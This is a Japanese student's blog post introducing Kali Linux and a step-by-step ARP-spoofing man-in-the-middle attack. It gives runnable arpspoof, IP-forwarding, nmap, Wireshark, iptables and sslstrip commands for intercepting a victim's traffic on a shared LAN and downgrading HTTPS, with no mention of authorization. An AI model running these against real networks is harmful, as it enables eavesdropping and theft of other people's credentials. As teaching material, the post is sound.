自己紹介
HAL大阪2回生で、webとセキュリティ、ネットワークの勉強をしています。
Twitter @kinkoruumu416
kali linuxってなんぞ
Kali Linux とは、ペネトレーションテスト(実際にコンピューターに侵入して攻撃するテスト)で使用するツールをまとめた Debian ベースの Linux ディストリビューションです。 Kali Linux は、有名だった BackTrack の後継になります。 BackTrack の開発は既に停止しています。
つまり、ペネトレーションテストをするために便利なツールがたくさんインストールされているOSです。
OSのインストール方法はこの記事をみてね!
さっそく攻撃方法の紹介
今回はARPスプーフィングという攻撃を紹介します。
ARPスプーフィング(アープスプーフィング)とは、ARPプロトコルの応答を偽装することにより、LAN上で通信機器のなりすましを行なう技法である。
各PCの中にあるARPテーブルには、IPアドレスとそれに紐付いたMACアドレスが記録されています。
ARPスプーフィングはそのARPテーブルに書かれたMACアドレスを書き換えます。
そうすることで、対象者の通信を攻撃者のパソコンを経由させることが出来るので、通信内容を盗聴することができます。
このような攻撃を中間者攻撃(man-in-the-middle attack)と言います。
この攻撃をするには対象者と攻撃者が同一ネットワーク内にいる必要があります。
arpspoof
実際にARPテーブルを書き換えるにはarpspoofコマンドを使用します。
$ arpspoof -i インターフェース名 -t 送信元 送信先
攻撃してみよう
まずは、自分のPCに設定されたネットワーク情報を確認してみましょう。
$ ifconfig
eth0: flags=xxxx<UP,BROADCAST,MULTICAST> mtu xxxx
inet 192.168.43.43 netmask 255.255.255.0 broadcast 192.168.43.255
inet6 xxxx:xxxx:xxxx:xxxx prefixlen 64 scopeid 0x20<link>
ether xx:xx:xx:xx:xx:xx txqueuelen 1000 (Ethernet)
次に対象者のIPアドレスを確認します。
今回は対象者のIPアドレスはわかっていますが、同一ネットワーク内にいるPCを調べるなら次のようにすると良いでしょう。
$ nmap -F 192.168.43.0/24
環境に合わせてIPアドレスやサブネットマスクを変更してください。
次に、
PCを経由するパケットをフォワードさせるために、IPフォワーディングを有効にしましょう。
$ echo 1 > /proc/sys/net/ipv4/ip_forward
ARPテーブルの書き換え
$ arpspoof -i eth0 -t 192.168.43.1 192.168.43.36
$ arpspoof -i eth0 -t 192.168.43.36 192.168.43.1
インターフェース名はifconfigで確認した名前にしましょう。
2回実行しているのは、送信と受信両方が攻撃者PCを経由して通信するようにする為です。
上の行がルーターのARPテーブルにある対象者のMACアドレスを攻撃者のMACアドレスに書き換えるためのもの
下の行が対象者のARPテーブルにあるルーターのMACアドレスを攻撃者のMACアドレスに書き換えるためのもの
これで対象者とルーターとの通信はすべて攻撃者のPCを経由するので、後は何でもやりたい放題です。
パケットをキャプチャするならwireshark
$ wireshark
ssl通信を盗聴するならsslstrip
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
$ sslstrip -l 8080
#対象者がssl通信を行った後
$ cat sslstrip.log
などさまざまなことができます。
あとがき
セキュリティに興味をもって、無線LANのパスワード解析をして遊んでいました。
その時は、もしパスワードがばれてもタダで無線LANを使われる位に思っていましたが、
MITM攻撃に出会って同一ネットワークに入られることの危険性を知りました。
カフェなどで無線ネットワークが解放されていますが、このような攻撃がされ放題の場所なので気をつけましょうw